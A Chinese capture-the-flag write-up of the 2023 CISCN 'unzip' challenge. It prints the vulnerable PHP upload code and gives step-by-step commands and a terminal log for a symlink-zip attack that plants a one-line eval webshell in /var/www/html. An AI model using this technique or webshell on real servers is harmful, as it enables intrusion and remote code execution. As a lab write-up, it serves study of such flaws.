2023CISCN初赛unzip

2023CISCN初赛unzip

随便上传一个文件,会自动跳转到uplaod.php目录下,源码如下:

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);

$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
    exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};
//only this!

可以看到验证文件MIME类型,需要上传zip文件。然后进入到tmp目录下,调用unzip命令进行解压。

解题思路:

这里可以思考将文件马写到zip压缩包中,但是在linux系统中,如果使用apache服务器,默认的网站web根目录是/var/www/html,而马却在tmp目录下,无法访问。

想要实现目录跳转,可以使用软连接,使/tmp目录下的link与网站根目录/var/www/html建立软链接

bash 复制代码
#创建一个文件夹aaa进入其中,将该文件夹与/var/www/html目录进行软连接
ln -s /var/www/html slink
  • 当前目录下会出现一个名为 slink 的符号链接。
  • 当你访问 slink,系统会将操作重定向到 /var/www/html。假设 /var/www/html 下有一个文件 index.html,执行命令后,通过 link/index.html 就可以访问该文件。
bash 复制代码
#生成一个压缩包slink.zip里面包含slink文件
zip --symlink slink.zip slink

此时aaa文件夹下已经有了slink和slink.zip两个文件。然后删除slink文件,建立一个文件夹名为slink。进入到slink文件夹下。

bash 复制代码
#写一个一句话木马,注意这里要使用单引号,如何使用双引号会把$_REQUEST当作变量解析,导致缺失
echo '<?php @eval($_REQUEST[1]);?>' >>shell.php

然后返回上一级目录,将slink文件夹压缩,保存为slink2.zip文件

bash 复制代码
zip -r slink2.zip ./slink/*

此时该文件夹下有两个zip文件

bash 复制代码
├── slink.zip
│   └── slink
├── slink2.zip
	└── shell.php

先上传slink.zip,再上传slink2.zip。之后用蚁剑链接或者命令执行即可。

命令汇总:

bash 复制代码
root@VM-4-17-ubuntu:/home/ubuntu# mkdir aaa
root@VM-4-17-ubuntu:/home/ubuntu# cd aaa
root@VM-4-17-ubuntu:/home/ubuntu/aaa# ln -s /var/www/html slink
root@VM-4-17-ubuntu:/home/ubuntu/aaa# ls
slink
root@VM-4-17-ubuntu:/home/ubuntu/aaa# zip --symlink slink.zip slink
  adding: slink (stored 0%)
root@VM-4-17-ubuntu:/home/ubuntu/aaa# ls
slink  slink.zip
root@VM-4-17-ubuntu:/home/ubuntu/aaa# rm -rf slink
root@VM-4-17-ubuntu:/home/ubuntu/aaa# ls
slink.zip
root@VM-4-17-ubuntu:/home/ubuntu/aaa# mkdir slink
root@VM-4-17-ubuntu:/home/ubuntu/aaa# ls
slink  slink.zip
root@VM-4-17-ubuntu:/home/ubuntu/aaa# cd slink
root@VM-4-17-ubuntu:/home/ubuntu/aaa/slink# echo '<?php @eval($_REQUEST[1]);?>' >>shell.php
root@VM-4-17-ubuntu:/home/ubuntu/aaa/slink# cd ../
root@VM-4-17-ubuntu:/home/ubuntu/aaa# zip -r slink2.zip ./slink/*
  adding: slink/shell.php (stored 0%)
root@VM-4-17-ubuntu:/home/ubuntu/aaa# ls
slink  slink2.zip  slink.zip

相关推荐
别动我齐刘海4 小时前
C++ 工程化学习
java·linux·前端·c++·学习·机器学习·机器人
gjf05_057 小时前
人该怎样活着呢?版本75.8
学习
li星野8 小时前
【学习记录】PCB与PCBA核心知识全解析:从设计到制造的关键细节
学习·制造
卿卿的产品经理日记9 小时前
【AI产品经理实战】Day 35|从“沉迷工具“到回归 AI 底层:Skill 收官、系统复盘与下一个 13 天
人工智能·学习·产品经理
一条泥憨鱼10 小时前
【从0开始学习计算机网络】| ARP 协议:地址解析,ARP 欺骗,链路层寻址
网络·后端·学习·计算机网络
HY小宝F10 小时前
树莓派智能摄像头系统 30 天重学计划之 Day 04 · HTTP / API:控制链入口 —— 学习总结
网络协议·学习·http
悟乙己11 小时前
AFAC2026 赛题四金融长文本 Agent竞赛学习笔记:赛题解析(一)
笔记·学习·金融
霍霍的袁12 小时前
【C++】哈希表实现指南:从原理到开放定址法、链地址法的实现
c++·学习·哈希算法·散列表·visual studio
PC2005-cloud12 小时前
MySQL学习笔记:GTID 主从复制,从原理到实践,告别传统 Binlog+Position 的痛点
笔记·学习·mysql
starsky7623813 小时前
Agent学习——上下文工程(二)
学习